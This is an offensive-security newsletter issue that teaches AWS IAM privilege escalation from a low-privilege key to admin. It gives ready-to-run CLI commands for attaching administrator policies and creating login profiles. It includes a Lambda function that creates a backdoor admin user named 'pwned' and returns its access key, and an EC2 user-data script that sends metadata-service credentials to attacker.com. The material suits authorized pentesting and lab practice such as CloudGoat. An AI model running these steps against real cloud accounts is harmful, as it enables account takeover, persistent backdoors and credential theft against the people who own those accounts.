AWS Privilege Escalation: From Low-Priv Key to Admin
6 min read
May 3, 2026

Table of contents
👋 Introduction
Hey everyone!
Issue 28 covered the AWS external attack surface: S3 enumeration, SSRF to the EC2 metadata endpoint, credentials in git history. This issue picks up where that one left off. You have a low-privilege IAM key. Now what?
IAM privilege escalation is what separates “I found a leaked credential” from “I have admin on this account.” The AWS IAM model is powerful and complex, and the combination of managed policies, inline policies, roles, and cross-service delegation creates escalation paths that are easy to miss in large environments. Rhino Security Labs has documented over 20 distinct escalation methods. Most of them don’t require any CVE. Misconfiguration is enough.
This week: direct policy attachment, Lambda-based indirect escalation, EC2 instance profile abuse, and PMapper for graphing every path automatically.
Let’s get into it 👇
🔍 Start: Enumerate What You Have
Before you can escalate, you need to know what permissions your key has. The first commands after validating access:
# Who am I?
aws sts get-caller-identity
# What policies are attached to my user?
aws iam list-attached-user-policies --user-name <your-user>
aws iam list-user-policies --user-name <your-user>
# Inline policies reveal intent, not just managed ones
aws iam get-user-policy --user-name <your-user> --policy-name <policy-name>
# What roles can I assume?
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS]]'
The permissions that enable the most impactful escalations: iam:AttachUserPolicy, iam:PutUserPolicy, iam:CreateLoginProfile, iam:UpdateLoginProfile, iam:PassRole, iam:CreatePolicyVersion, and any combination of Lambda or EC2 permissions alongside iam:PassRole.
💀 Direct Escalation: One API Call to Admin
If your identity has iam:AttachUserPolicy, escalating to admin is a single command:
aws iam attach-user-policy \
--user-name <your-username> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:PutUserPolicy is the inline variant. The same result, no managed policy needed:
aws iam put-user-policy \
--user-name <your-username> \
--policy-name PrivEsc \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
}'
iam:CreateLoginProfile is subtler. If a privileged IAM user exists but has no console password (common for service accounts), you can create one and log in as them:
aws iam create-login-profile \
--user-name admin-user \
--password "T3mpP@ss123!" \
--no-password-reset-required
The Rhino Security Labs documentation maps all 20+ paths with the exact permissions required for each.
⚡ Lambda Privilege Escalation: Indirect Admin via PassRole
The Lambda path requires iam:PassRole and at least one of lambda:CreateFunction or lambda:UpdateFunctionCode plus lambda:InvokeFunction. You don’t need direct IAM write permissions.
The concept: create a Lambda function and assign it a role with broader permissions than you have. Invoke the function. Lambda executes with that role’s permissions, and you control what the function does.
# lambda_privesc.py: create a backdoor admin user from inside Lambda
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
iam.create_user(UserName='pwned')
iam.attach_user_policy(
UserName='pwned',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
key = iam.create_access_key(UserName='pwned')
print(key['AccessKey'])
return key['AccessKey']
# Package and deploy with a high-privilege execution role
zip function.zip lambda_privesc.py
aws lambda create-function \
--function-name privesc \
--runtime python3.12 \
--role arn:aws:iam::<account-id>:role/<high-priv-role> \
--handler lambda_privesc.lambda_handler \
--zip-file fileb://function.zip
# Invoke and collect the new admin key from the response
aws lambda invoke --function-name privesc /tmp/output.json
cat /tmp/output.json
The same logic applies to updating existing Lambda functions if you have lambda:UpdateFunctionCode. Overwrite the function code of a Lambda that already has a permissive execution role.
The CloudGoat lambda_privesc scenario walks through this exact path in a deliberately vulnerable environment.
🖥 EC2 Instance Profile Abuse
If you have iam:PassRole, ec2:RunInstances, and ec2:DescribeInstanceMetadata, you can launch an EC2 instance with a more permissive instance profile attached, then retrieve its temporary credentials from the metadata service.
# Launch instance with a high-privilege instance profile
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=high-priv-instance-profile \
--user-data '#!/bin/bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
> /tmp/role-name.txt
ROLE=$(cat /tmp/role-name.txt)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
| curl -s -X POST https://attacker.com/collect -d @-'
# Or SSH in and retrieve credentials yourself
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
The metadata endpoint returns AccessKeyId, SecretAccessKey, and Token for the instance profile’s role. These are valid temporary credentials with the role’s full permissions.
🗺 PMapper: Graph Every Escalation Path
PMapper by NCC Group models IAM as a directed graph. Nodes are users and roles. Edges represent paths where one principal can escalate to another through specific actions. Running it against a live account reveals multi-hop chains that no manual review would catch.
pip install principalmapper
# Build the graph (requires read-only IAM permissions)
pmapper --profile <aws-profile> graph create
# Show all principals that can reach admin
pmapper --profile <aws-profile> query "who can become *"
# Check a specific path
pmapper --profile <aws-profile> query \
"can user/dev-user do iam:PassRole with resource *"
# Generate a visual graph
pmapper --profile <aws-profile> visualize
The output shows paths like: user/dev-user → (iam:PassRole + lambda:CreateFunction) → role/high-priv-lambda → (iam:*) → admin. Three hops that are invisible when reviewing individual policies.
Pacu, Rhino’s full exploitation framework, has the iam__privesc_scan module that automates the attack side: it identifies available escalation paths from your current identity and attempts each one.
🎯 Key Takeaways
IAM privilege escalation rarely needs iam:*. The dangerous permissions are specific: AttachUserPolicy, PutUserPolicy, PassRole, CreateLoginProfile. A developer user with iam:PassRole and Lambda permissions may have a direct path to admin that’s invisible until you graph it.
The Lambda path is the most commonly overlooked. An identity that cannot directly modify IAM policies may still create a Lambda function with a permissive execution role, execute code inside it, and achieve admin through that indirection. It bypasses every check on direct IAM modifications.
Run PMapper first whenever you have an IAM key in an unfamiliar environment. It maps the entire escalation surface in minutes, including cross-service chains through Lambda, EC2, and Glue. Pacu handles exploitation once you know the path.
Practice:
- CloudGoat: iam_privesc_by_rollback - restore a previous policy version to escalate
- CloudGoat: lambda_privesc - PassRole and Lambda-based escalation
- CloudGoat: iam_privesc_by_attachment - EC2 instance profile attack
- Rhino Security Labs: AWS privilege escalation methods - all 20+ paths documented with required permissions
- PMapper GitHub - IAM graph analysis and escalation path discovery
- Pacu GitHub - AWS post-exploitation framework with IAM privesc modules
- flaws.cloud - series of AWS security challenges covering S3, IAM, metadata exploitation
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.